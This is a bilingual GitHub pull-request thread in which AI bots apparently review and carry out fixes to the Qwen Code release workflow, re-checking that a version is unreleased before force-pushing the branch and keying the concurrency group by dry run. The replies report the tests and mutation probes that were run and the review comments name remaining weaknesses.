Decision: addressed (implemented). The finding was verified against the code: doesVersionExist (in scripts/get-release-version.js) runs exactly once, in prepare, while the force push runs in publish — after the quality/integration/prebuild jobs and the production-release environment approval gate — with no re-validation, and release.yml had no concurrency group. With --force in place, two overlapping same-version runs could permanently diverge the npm artifacts, the git tag (created by gh release create --target at the branch tip), and main (which finalize-release.yml merges from that same tip).

The fix applies both halves of the suggested remedy:

  • Serialize the job: added a job-level concurrency group on publish, keyed release-publish-${{ needs.prepare.outputs.release_tag }} with cancel-in-progress: false. Job-level groups referencing needs.*.outputs follow established in-repo precedent (e.g. qwen-autofix.yml). Queued rather than cancelled so a retry that waits out a failed run still gets to replace its stale branch — the scenario this PR exists for.
  • Re-validate the invariant at push time: immediately before the force push (inside the dry-run guard), the step now re-checks prepare's exact doesVersionExist invariant — every one of the ten published packages on npm, the git tag, and the GitHub release — and aborts with ::error + exit 1 if any artifact for the version already exists. All ten packages are checked (not just the main one) because a run that died between npm publish steps leaves a partial state only a full check catches. The step gained GITHUB_TOKEN (for gh release view) and RELEASE_VERSION env entries.

Together these restore and strengthen the pre-change safety property: the realistic interleavings (retry of a stalled-looking run, double dispatch, cron overlapping a manual dispatch) now abort loudly before mutating anything, while a retry after a genuinely failed attempt still replaces the stale branch.

2. [Suggestion] R2-3 — pin test is position-free (rc:3781157142)

Decision: addressed (implemented), with a stronger pin than suggested. The existing test's toContain matched the force push anywhere in the file. It is now a multi-line regex pinning the push inside the IS_DRY_RUN == "false" guard: the guard, the push, the else at block indentation, and the dry-run skip message must appear in that order and position. This variant also fails the "push moved after fi" mutation, which the suggested regex (guard-then-push ordering only) would not catch. Two further pin tests cover the new R2-2 machinery: the concurrency block's exact shape and placement inside the publish job, and the re-validation (npm loop → tag → release → exit 1 paths) immediately before the push.

Verified by mutation probe (file backed up and restored around each probe): push lifted out of the guard → fails; guard inverted → fails; recheck dropped → fails; concurrency dropped → fails; loop exit 1 dropped → fails. All 9 tests pass pristine.

Conflict notes

None (--conflict false; no merge performed).

Verification

Commands actually run, in order:

  • npm run test:scripts -- release-workflow (focused Vitest, touched scripts/tests) — passed, 9/9 tests
  • npm run test:scripts (full scripts suite) — passed, 54 files, 1157 passed | 16 skipped
  • Mutation probes: 5 mutations applied one at a time to release.yml (push-after-fi, guard-inverted, drop-recheck, drop-concurrency, drop-loop-exit) — each correctly failed its pin test; file restored, diff verified identical
  • bash -n on the extracted push-step script (via js-yaml parse of release.yml) — syntax OK; the YAML parses and publish.concurrency / environment structure confirmed
  • Smoke tests of the recheck commands against the live registry/remote: existing version/tag detected (abort path), absent version/tag not detected (proceed path)
  • npx prettier --check on both touched files — passed
  • npm run build — passed
  • npm run typecheck — passed
  • npm run lint — passed
  • Integration tests after npm run bundle: not run — the touched behavior (release workflow YAML + script pin tests) is not exercised through the bundled CLI or the integration harness
  • npm run generate:settings-schema: not applicable — no settings source changed
中文说明

已处理的审查反馈 — PR #9082(issue #9076

提交:d8422c8857fix(ci): re-validate the release version before force-pushing (#9076)

无合并冲突;未合并 origin/main

1. [Critical] R2-2 — 强制推送的不变量到推送时已过期(rc:3781157140)

决定:已处理(已实现)。 该发现已对照代码核实:doesVersionExist(位于 scripts/get-release-version.js)只在 prepare 中执行一次,而强制推送发生在 publish —— 在 quality/integration/prebuild 任务与 production-release 环境审批门禁之后 —— 期间没有任何重新校验,且 release.yml 没有 concurrency 组。在已有 --force 的情况下,两次重叠的同版本运行可能使 npm 产物、git tag(由 gh release create --target 在分支 tip 处创建)与 main(finalize-release.yml 从同一 tip 合入)永久不一致。

修复同时采用了建议方案的两个部分:

  • 任务串行化:在 publish 任务上添加了 job 级 concurrency 组,以 release-publish-${{ needs.prepare.outputs.release_tag }} 为键,cancel-in-progress: false。引用 needs.*.outputs 的 job 级并发组遵循仓库内既有先例(如 qwen-autofix.yml)。排队而非取消,使得等待失败运行结束的仍然能够替换其过期分支——这正是本 PR 存在的场景。
  • 推送时重新校验不变量:在强制推送之前(dry-run 保护内),该步骤现在重新检查 prepare 的完整 doesVersionExist 不变量 —— npm 上全部十个已发布包、git tag 与 GitHub release —— 若该版本已存在任何产物,则以 ::error + exit 1 中止。检查全部十个包(而非仅主包),是因为在 npm publish 步骤之间挂掉的运行会留下只有完整检查才能发现的中间状态。该步骤新增了 GITHUB_TOKEN(供 gh release view 使用)与 RELEASE_VERSION 环境变量。

两者结合,恢复并加强了改动前的安全属性:现实的交错场景(对疑似卡住运行的重试、重复派发、定时任务与手动派发重叠)现在会在产生任何变更之前响亮地中止,而真正失败后的重试仍然可以替换过期分支。

2. [Suggestion] R2-3 — 固定测试与位置无关(rc:3781157142)

决定:已处理(已实现),且固定(pin)比建议的更强。 原测试的 toContain 会在文件任意位置匹配强制推送。现在改为多行 regex,将推送固定 IS_DRY_RUN == "false" 保护之内:保护、推送、块缩进的 else、dry-run 跳过消息必须以该顺序和位置出现。该变体同时能捕获"推送被移出 fi 之后"的突变,而建议的 regex(仅固定保护在推送之前)无法捕获。另新增两个固定测试覆盖 R2-2 的新机制:并发块的精确形状及其在 publish 任务内的位置,以及紧接推送之前的重新校验(npm 循环 → tag → release → exit 1 路径)。

已通过突变探针验证(每次探针前后均备份并还原文件):推送移出保护 → 失败;保护反转 → 失败;删除重新校验 → 失败;删除并发组 → 失败;删除循环中的 exit 1 → 失败。全部 9 个测试在原始代码上通过。

冲突说明

无(--conflict false;未执行合并)。

验证

实际执行的命令(按顺序):

  • npm run test:scripts -- release-workflow(聚焦 Vitest,涉及改动的 scripts/tests)— 通过,9/9 个测试
  • npm run test:scripts(完整 scripts 套件)— 通过,54 个文件,1157 通过 | 16 跳过
  • 突变探针:对 release.yml 逐一施加 5 个突变(push-after-fi、guard-inverted、drop-recheck、drop-concurrency、drop-loop-exit)— 每个都被对应的固定测试正确捕获;文件已还原,diff 验证一致
  • 对提取出的推送步骤脚本执行 bash -n(通过 js-yaml 解析 release.yml)— 语法通过;YAML 可解析,publish.concurrency / environment 结构确认无误
  • 针对线上 registry/remote 的重新校验命令冒烟测试:已存在的版本/tag 被检测到(中止路径),不存在的版本/tag 未被检测到(继续路径)
  • 对两个改动文件执行 npx prettier --check — 通过
  • npm run build — 通过
  • npm run typecheck — 通过
  • npm run lint — 通过
  • npm run bundle 后的集成测试:未运行 —— 改动的行为(release workflow YAML + 脚本固定测试)不经过打包 CLI 或集成测试框架执行
  • npm run generate:settings-schema:不适用 —— 未改动任何 settings 源

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed. Suggestions are inline.

Not explored to full depth (tool budget reached): "You are review agent reverse-audit — Reverse audit agent…": none — all checks above completed within budget.; "Context: PR #9082 (QwenLM/qwen-code) force-pushes the…": none — all planned checks (diff, both source files, test file, cross-workflow blast radius, needs -context validity) were completed within budget.; "Context: PR #9082 (QwenLM/qwen-code) force-pushes the…": none — all checks I started completed within budget.; "Context: PR #9082 (QwenLM/qwen-code) force-pushes the…": full npm run test:scripts vitest run not executed (worktree has no node_modules); substituted with direct node -e execution of the three exact regexes again….

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

已审查。 建议见行内评论。

未探索到全部深度(达到工具调用预算):"You are review agent reverse-audit — Reverse audit agent…"none — all checks above completed within budget."Context: PR #9082 (QwenLM/qwen-code) force-pushes the…"none — all planned checks (diff, both source files, test file, cross-workflow blast radius, needs -context validity) were completed within budget."Context: PR #9082 (QwenLM/qwen-code) force-pushes the…"none — all checks I started completed within budget."Context: PR #9082 (QwenLM/qwen-code) force-pushes the…"full npm run test:scripts vitest run not executed (worktree has no node_modules); substituted with direct node -e execution of the three exact regexes again…

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
Comment on lines +430 to +432
for pkg in \
@qwen-code/qwen-code \
@qwen-code/audio-capture \

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R3-2: The published-package manifest is hardcoded a second time here, with no parity enforcement

This loop copies the 10-package PUBLISHED_PACKAGES list from scripts/get-release-version.js verbatim (a third copy counting the publish-step channel allowlist), even though the comment above names doesVersionExist as the invariant being re-validated — and nothing keeps the copies in sync.

Failure scenario: when an 11th package joins the release set (a new channel is the obvious case), the author updating PUBLISHED_PACKAGES gets no compiler/test/CI signal about this YAML copy. The push-time guard then silently skips that package; if a same-version run shipped only the new package, re-validation passes and git push --force replaces the branch tip the shipped package, tag, and merge-to-main anchor to. A mutation probe confirmed deleting any middle package from this loop keeps every test green, so such drift fails silently.

Suggested fix — one owner for the invariant at push time too: an assert mode on the existing script (node scripts/get-release-version.js --assert-unreleased "$RELEASE_VERSION", exit 1 on conflict, keeping the stronger remote git ls-remote tag check and abort semantics), or at minimum a test asserting this list equals PUBLISHED_PACKAGES.

中文说明

此循环逐字复制了 scripts/get-release-version.js 中 10 个包的 PUBLISHED_PACKAGES 列表(若计入 publish 步骤的 channel allowlist 则是第三份副本),尽管上方注释明确说明重新校验的不变量是 doesVersionExist —— 且没有任何机制保持各副本同步。

失败场景:当第 11 个包加入发布集(新 channel 是最常见的情况)时,更新 PUBLISHED_PACKAGES 的作者不会收到任何关于此 YAML 副本的编译器/测试/CI 信号。推送时防护将悄悄跳过该包;若同版本运行仅发布了该新包,重新校验会通过,git push --force 将替换已发布包、tag 与 merge-to-main 所依赖的分支 tip。突变探针确认:删除循环中任意中间包后所有测试仍为绿色,因此此类漂移会静默失败。

建议修复:让该不变量在推送时刻也有唯一归属 —— 为现有脚本增加断言模式(node scripts/get-release-version.js --assert-unreleased "$RELEASE_VERSION",冲突时 exit 1,保留更强的远端 git ls-remote tag 检查与中止语义);或至少增加一个测试断言此列表与 PUBLISHED_PACKAGES 相等。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines +344 to +346
concurrency:
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}'
cancel-in-progress: false

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R3-3: Dry runs serialize against — and queue ahead of — real same-tag releases

The group key omits is_dry_run, so dry-run publishes — which push no branch (the push is inside the IS_DRY_RUN == "false" guard), publish with --dry-run only, and create no tag/release — occupy the same group as the real release for the same tag.

Failure scenario: a maintainer pre-flights vX with dry_run: true (the dispatch default), then dispatches the real vX while the dry run's publish job is still in flight. The production publish queues behind the dry run's full build/publish pass (tens of minutes), or indefinitely behind one sitting unattended at the production-release approval gate — pure delay with zero protection gained.

Suggested fix — key dry runs into their own group (is_dry_run is already a prepare output):

      group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'
中文说明

并发组的键未包含 is_dry_run,因此 dry-run 发布 —— 不推送分支(推送位于 IS_DRY_RUN == "false" 保护内)、仅以 --dry-run 发布、不创建 tag/release —— 会与同 tag 的正式发布占用同一并发组。

失败场景:维护者先用 dry_run: true(dispatch 默认值)预演 vX,随后在 dry run 的 publish 任务仍在运行时正式派发 vX。正式发布将排队等待 dry run 完整的 build/publish 流程(数十分钟),或无限期等待停留在 production-release 审批门禁处的无人值守运行 —— 纯延迟,毫无保护收益。

建议修复:将 dry run 划入独立的组(is_dry_run 已是 prepare 的输出):

      group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'

— qwen3.8-max via Qwen Code /review (v0.21.11)

);
});

it('re-validates that the version is still unshipped right before force-pushing', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R3-4: This pin survives one-line regressions of the guard it pins

The regex only anchors the first and last of the 10 loop packages, plus the unanchored shape of the guard. Mutation probes applied to release.yml show each of these one-line edits keeps the suite green:

  1. delete any middle package from the loop (e.g. @qwen-code/audio-capture) — silently narrows the guard;
  2. delete the || gh release view "${RELEASE_TAG}" clause — silently narrows it, although this test's own comment says it pins "the tag, and the release";
  3. delete the RELEASE_VERSION env line this same diff adds to the push step — the guard then fails closed on every release (npm view pkg@ resolves to latest → exit 0 → "already published"): loud, but still green here;
  4. invert the condition to if ! npm view … — likewise green.

Failure scenario: a future edit drops a middle package or the gh release view clause; this pin stays green, the guard silently narrows, and a retry or concurrent run force-pushes over a version whose release or middle-list package already shipped — the exact regression this test exists to catch.

Suggested fix — assert the loop's package set equals PUBLISHED_PACKAGES from scripts/get-release-version.js (export it or parse it), pin the RELEASE_VERSION env line in the push step's env block, anchor the condition start (if npm view "\$\{pkg\}@…), and pin the gh release view clause.

中文说明

该 regex 只固定了循环 10 个包中的第一个和最后一个,外加未锚定的防护形状。对 release.yml 施加的突变探针表明,以下任一单行修改都能让套件保持绿色:

  1. 删除循环中任意中间包(如 @qwen-code/audio-capture)—— 悄悄收窄防护;
  2. 删除 || gh release view "${RELEASE_TAG}" 子句 —— 悄悄收窄防护,尽管本测试自己的注释声称固定了 "tag 与 release";
  3. 删除同一 diff 为推送步骤添加的 RELEASE_VERSION 环境变量行 —— 防护随后对每次发布都失败关闭(npm view pkg@ 解析为 latest → exit 0 → "已发布"):响亮失败,但测试仍为绿色;
  4. 将条件反转为 if ! npm view … —— 同样为绿色。

失败场景:未来某次编辑删掉了中间包或 gh release view 子句;本固定测试仍为绿色,防护被悄悄收窄,重试或并发运行会对已发布 release 或中间列表包的版本执行强制推送 —— 正是本测试本应捕获的回归。

建议修复:断言循环中的包集合与 scripts/get-release-version.jsPUBLISHED_PACKAGES 相等(将其导出或解析),固定推送步骤 env 块中的 RELEASE_VERSION 行,锚定条件起始(if npm view "\$\{pkg\}@…),并固定 gh release view 子句。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
Comment on lines +341 to +343
# rejection that used to serialize the push itself. Queued, not
# cancelled, so a retry that waits out a failed run still gets to
# replace its stale branch.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R3-5: The comment overstates the concurrency guarantee — pending queued runs ARE cancelled

The comment asserts queued same-tag retries are "Queued, not cancelled", but GitHub Actions cancels any previously pending run in a concurrency group when a newer run queues — cancel-in-progress: false protects only in-progress runs (docs.github.com: "any existing pending job or workflow in the same concurrency group will be canceled"). The serialization invariant itself holds (whichever run survives performs the identical replace-or-refuse re-validation), so this is not a correctness hole — but the stated guarantee that a specific waiting retry survives the queue is false.

Failure scenario: run A for tag vX is in progress; retry B queues pending; a third dispatch C for vX (e.g. a force_skip_tests re-dispatch — an input this workflow explicitly supports) silently cancels B. During an incident, a maintainer trusting "still gets to replace its stale branch" reads B's cancelled status as an unrelated failure or a cancellation nobody issued.

Suggested fix — reword to the actual guarantee: at most one run pushes/publishes a given tag at a time; the latest queued same-tag run survives, and any earlier queued same-tag run is superseded. The sibling comment in scripts/tests/release-workflow.test.js (the serializes publish jobs per release tag test) makes the same assertion and needs the same rewording.

中文说明

注释声称同 tag 的排队重试"排队而不会被取消",但 GitHub Actions 在新运行入队时会取消并发组中任何先前处于 pending 状态的运行 —— cancel-in-progress: false 只保护正在运行(in-progress)的运行(docs.github.com:"any existing pending job or workflow in the same concurrency group will be canceled")。串行化不变量本身仍然成立(无论哪个运行存活,都会执行相同的"替换或拒绝"重新校验),因此这不是正确性漏洞 —— 但"某个特定等待中的重试一定能在队列中存活"这一保证是错误的。

失败场景:tag vX 的运行 A 正在执行;重试 B 排队等待;第三次派发 C(例如 force_skip_tests 重新派发 —— 本 workflow 明确支持的输入)会悄悄取消 B。事故处理期间,信任"仍能替换其陈旧分支"的维护者会把 B 的 cancelled 状态误读为无关故障或一次无人发起的取消。

建议修复:将措辞改为实际保证 —— 同一时刻至多一个运行推送/发布给定 tag;最后入队的同 tag 运行存活,任何更早入队的同 tag 运行被取代。scripts/tests/release-workflow.test.jsserializes publish jobs per release tag 测试的兄弟注释有相同断言,需同样修改措辞。

— qwen3.8-max via Qwen Code /review (v0.21.11)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 2/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 2/10 轮)。改动内容与我反驳保留之处如下:

Autofix review round summary — PR #9082 (issue #9076)

All four round-3 suggestions are addressed in one commit: fix(ci): unify the push-time release guard and key concurrency by dry-run (#9076). No conflict resolution was needed (--conflict false).

Feedback points and dispositions

R3-2 (release.yml:432) — published-package manifest hardcoded a second time — Implemented (suggested assert mode).
The hardcoded 10-package loop and the tag/release checks in the push step are deleted. The guard is now a single call to the script that owns the invariant: node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}". doesVersionExist (and its PUBLISHED_PACKAGES list) is the single owner of what "already shipped" means; a new checkRemoteTags option keeps the stronger remote git ls-remote tag check that push time needs (the local checkout predates the approval gate), and the CLI mode exits 1 with an ::error:: annotation on conflict, preserving the abort semantics. An 11th package joining the release set now updates the guard automatically. A new pin test also hardcodes the 10-package set so any list change forces a review of every consumer (the publish-step channel allowlist is intentionally left separate — it is an approval gate, not a re-validation).

R3-3 (release.yml:346) — dry runs serialize against real same-tag releases — Implemented (suggested group key).
The concurrency group is now release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}. Verified the finding's premises in the workflow: dry runs push no branch (push is inside the IS_DRY_RUN == "false" guard), publish with --dry-run only, and create no tag/release (Create GitHub Release and Tag is gated on is_dry_run == 'false'), so keying them into their own group removes pure delay with no protection lost; two real same-tag releases still share a group.

R3-4 (release-workflow.test.js:90) — the pin survives one-line regressions of the guard — Implemented.
The guard logic moved into the script, so the mutation probes are now covered by direct unit tests of that logic plus anchored workflow pins:

  1. deleting a middle package → a parity pin asserts PUBLISHED_PACKAGES equals the full hardcoded 10-package set, and a loop test ships the version on every package one at a time and expects refusal;
  2. deleting the gh release view check → assertVersionUnreleased unit test refuses when the GitHub release exists;
  3. deleting the RELEASE_VERSION env line → the workflow pin asserts the env line inside the named step's env block (and the guard would additionally fail closed at runtime with an empty version);
  4. inverting the condition → the workflow pin anchors the call as an exact full line inside the dry-run guard and before the push, and the unit tests cover both directions (throws when shipped, passes when clean).
    All five mutation probes were applied empirically to the new code and each one failed the test suite; the restored tree is green.

R3-5 (release.yml:343) — comment overstates the concurrency guarantee — Implemented.
Reworded the concurrency comment in release.yml and the sibling comment in the serializes publish jobs per release tag test to the actual guarantee: in-progress runs are never cancelled (cancel-in-progress: false); of queued same-tag runs only the latest survives — an earlier queued run is superseded — but whichever run reaches the push re-validates first, so the serialization invariant holds.

Files changed

  • .github/workflows/release.yml — concurrency group keyed by tag + is_dry_run with corrected comment; push-step loop/checks replaced by the script call.
  • scripts/get-release-version.js — exported PUBLISHED_PACKAGES; doesVersionExist gained checkRemoteTags; new exported assertVersionUnreleased; new --assert-unreleased=<version> CLI mode.
  • scripts/tests/get-release-version.test.js — 7 new tests: parity pin, clean pass, remote-tag usage, refusal per package / origin tag / GitHub release, invalid-input refusal.
  • scripts/tests/release-workflow.test.js — updated both pins (group key incl. is_dry_run; anchored script call + RELEASE_VERSION env) and reworded the comment.

Verification

  • npm run build — passed (also produced packages/audio-capture/dist, which the pre-existing install-script.test.js failure below needed).
  • npm run typecheck — passed.
  • npm run lint — passed.
  • npx prettier --check on the four touched files — passed (one reflow applied during the round).
  • Focused vitest (scripts/tests/get-release-version.test.js, scripts/tests/release-workflow.test.js, scripts/tests/release-helpers.test.js) — 63 passed.
  • Mutation probes (drop middle package, drop gh-release check, drop RELEASE_VERSION env line, invert the guard call, drop is_dry_run from the group key) — all 5 caught (each failed the suite; tree then restored).
  • YAML parse check of .github/workflows/release.yml (yaml library) — passed; concurrency group structure verified.
  • npm run test:scripts (full scripts suite) — 1163 passed, 16 skipped, 1 failed: verify-capture.test.js > renders 256-colour and truecolor via the default-grey fallback. This failure is pre-existing and unrelated: the test file and the script it exercises are byte-identical to origin/main, nothing in this PR's diff is read by it, it passes when run in isolation (23/23), and it only fails under full-suite parallelism on this runner.
  • Integration tests: not run — the change is exercised by the scripts test suite, not the bundled CLI or integration harness.
中文说明

Autofix 审查轮次总结 — PR #9082(issue #9076

第三轮的 4 条建议已在一个提交中全部处理:fix(ci): unify the push-time release guard and key concurrency by dry-run (#9076)。无需解决冲突(--conflict false)。

反馈点与处理决定

R3-2(release.yml:432)—— 已发布包清单被第二次硬编码 —— 已实现(采用建议的断言模式)。
推送步骤中硬编码的 10 包循环与 tag/release 检查已删除。防护现在是对拥有该不变量的脚本的一次调用:node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}"doesVersionExist(及其 PUBLISHED_PACKAGES 列表)成为"已发布"含义的唯一归属;新增的 checkRemoteTags 选项保留了推送时所需的更强远端 git ls-remote tag 检查(本地检出早于审批门禁,可能缺少并发推送的 tag),CLI 模式在冲突时以 ::error:: 注解退出码 1,保留中止语义。当第 11 个包加入发布集时,该防护将自动随之更新。新增的固定测试还硬编码了这 10 个包的集合,任何列表变更都会强制对所有消费方进行审查(publish 步骤的 channel allowlist 有意保持独立 —— 它是审批门禁,不是重新校验)。

R3-3(release.yml:346)—— dry run 与同 tag 正式发布互相串行化 —— 已实现(采用建议的组键)。
并发组现为 release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}。已在 workflow 中核实该发现的前提:dry run 不推送分支(推送位于 IS_DRY_RUN == "false" 保护内)、仅以 --dry-run 发布、不创建 tag/release(Create GitHub Release and Tagis_dry_run == 'false' 为条件),因此将其划入独立的组只消除纯延迟而不损失任何保护;两个同 tag 的正式发布仍共享同一组。

R3-4(release-workflow.test.js:90)—— 固定测试能在防护发生单行回归时幸存 —— 已实现。
防护逻辑已移入脚本,原先的突变探针现由该逻辑的直接单元测试加锚定的 workflow 固定测试覆盖:

  1. 删除中间包 —— 一致性固定断言 PUBLISHED_PACKAGES 等于完整硬编码的 10 包集合,且循环测试逐一对每个包发布该版本并期望拒绝;
  2. 删除 gh release view 检查 —— assertVersionUnreleased 单元测试在 GitHub release 存在时拒绝;
  3. 删除 RELEASE_VERSION 环境变量行 —— workflow 固定断言命名步骤 env 块中的该行(且防护在运行时遇到空版本会失败关闭);
  4. 反转条件 —— workflow 固定将该调用锚定为 dry-run 保护内、推送之前的一整行,单元测试覆盖双向行为(已发布则抛出、未发布则通过)。
    全部 5 个突变探针已对新代码实际施加,每一个都使测试套件失败;恢复后的代码树为绿色。

R3-5(release.yml:343)—— 注释夸大了并发保证 —— 已实现。
已将 release.yml 中的并发注释与 serializes publish jobs per release tag 测试中的兄弟注释改写为实际保证:正在运行的运行永远不会被取消(cancel-in-progress: false);排队的同 tag 运行中只有最新者存活 —— 更早入队的运行被取代 —— 但无论哪个运行到达推送都会先重新校验,因此串行化不变量成立。

变更文件

  • .github/workflows/release.yml —— 并发组以 tag + is_dry_run 为键并修正注释;推送步骤的循环/检查替换为脚本调用。
  • scripts/get-release-version.js —— 导出 PUBLISHED_PACKAGESdoesVersionExist 新增 checkRemoteTags;新增导出的 assertVersionUnreleased;新增 --assert-unreleased=<version> CLI 模式。
  • scripts/tests/get-release-version.test.js —— 新增 7 个测试:一致性固定、干净通过、使用远端 tag、逐包/远端 tag/GitHub release 拒绝、非法输入拒绝。
  • scripts/tests/release-workflow.test.js —— 更新两个固定测试(组键含 is_dry_run;锚定的脚本调用 + RELEASE_VERSION 环境变量)并改写注释。

验证

  • npm run build —— 通过(同时生成了 packages/audio-capture/dist,即下方 install-script.test.js 既有失败所缺的构建产物)。
  • npm run typecheck —— 通过。
  • npm run lint —— 通过。
  • 对 4 个变更文件执行 npx prettier --check —— 通过(本轮应用了一处重排)。
  • 聚焦 vitest(scripts/tests/get-release-version.test.jsscripts/tests/release-workflow.test.jsscripts/tests/release-helpers.test.js)—— 63 通过。
  • 突变探针(删除中间包、删除 gh-release 检查、删除 RELEASE_VERSION 环境变量行、反转防护调用、从组键中删除 is_dry_run)—— 5 个全部被捕获(每个都使套件失败;随后恢复代码树)。
  • .github/workflows/release.yml 的 YAML 解析检查(yaml 库)—— 通过;并发组结构已核实。
  • npm run test:scripts(完整 scripts 套件)—— 1163 通过、16 跳过、1 失败:verify-capture.test.js > renders 256-colour and truecolor via the default-grey fallback。该失败为既有问题且与本 PR 无关:测试文件及其执行的脚本与 origin/main 逐字节一致,本 PR diff 中没有任何文件被它读取,单独运行时通过(23/23),仅在本 runner 的完整套件并行执行下失败。
  • 集成测试:未运行 —— 该变更由 scripts 测试套件覆盖,而非捆绑 CLI 或集成测试框架。

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed. Suggestions are inline.

Not explored to full depth (tool budget reached): "PR #9082 (QwenLM/qwen-code) changes the release publish…": none — all checks above completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": none — all checks I opened were completed within budget.; "PR #9082 (QwenLM/qwen-code) changes the release publish…": none — all checks I started completed; I did not run the repo-wide build/typecheck since the changed files are plain-JS scripts and YAML outside the TS packages…; "You are review agent reverse-audit — Reverse audit agent…": none — all planned checks completed within budget (~19 tool calls).; "PR #9082 (QwenLM/qwen-code) changes the release publish…": nothing material — everything I wanted to check I checked. Did I look at pr-force-push-reminder.yml? Irrelevant. Fine., and 1 more.

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

已审查。 建议见行内评论。

未探索到全部深度(达到工具调用预算):"PR #9082 (QwenLM/qwen-code) changes the release publish…"none — all checks above completed within budget."You are review agent reverse-audit — Reverse audit agent…"none — all checks I opened were completed within budget."PR #9082 (QwenLM/qwen-code) changes the release publish…"none — all checks I started completed; I did not run the repo-wide build/typecheck since the changed files are plain-JS scripts and YAML outside the TS packages…"You are review agent reverse-audit — Reverse audit agent…"none — all planned checks completed within budget (~19 tool calls)."PR #9082 (QwenLM/qwen-code) changes the release publish…"nothing material — everything I wanted to check I checked. Did I look at pr-force-push-reminder.yml? Irrelevant. Fine.,另有 1 条。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread scripts/get-release-version.js Outdated
Comment on lines +227 to +231
// ls-remote exits 2 when no ref matches; that is "tag absent", not a
// failed check.
if (!(checkRemoteTags && error.status === 2)) {
console.error(`Failed to check git tags for conflicts: ${error.message}`);
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-1: The push-time re-validation guarding the new git push --force fails open on probe errors. doesVersionExist treats every failed check as "version not shipped": the npm loop's catch (_error) {} swallows registry errors (5xx/timeout/rate-limit) identically to E404 with no log, this new ls-remote catch logs-and-continues for any exit status other than 2, and the gh release view catch does the same for any error isExpectedMissingGitHubRelease does not recognize. Probe-proven: with npm/git ls-remote/gh shimmed to error, node scripts/get-release-version.js --assert-unreleased=0.21.11 (a genuinely shipped version) exits 0 — the guard passes over a shipped version whenever its probes are degraded. Independently reported by 8 review lenses this round. — Failure scenario: run A publishes npm packages and dies before gh release create (the tag/release exist only after that final step); retry B reaches this push while the registry is transiently degraded — plausibly the same degradation that broke run A → all ten probes error and are swallowed as "absent" → the assert passes → git push --force replaces the branch tip the shipped packages anchor to, and the tag, release, and merge-to-main then anchor to the new tip. The new concurrency group removes in-workflow same-version racers, so the trigger is the compound (shipped-but-untagged state + probe failure in exactly that window) — hence Suggestion, not Critical. House precedent fails closed: packages/sdk-python/scripts/get-release-version.js throws when its tag check errors.

Suggested fix — fail closed on the push-time path only (prepare's best-effort version selection stays unchanged):

// ls-remote leg: any status other than 2 is "cannot verify", not "absent"
if (checkRemoteTags && error.status !== 2) {
  throw new Error(`Failed to verify tag v${version} on origin: ${error.message}`);
}
// plus a strict mode (set only by assertVersionUnreleased) where npm/gh probe
// errors other than E404 / release-not-found throw instead of continuing
中文说明

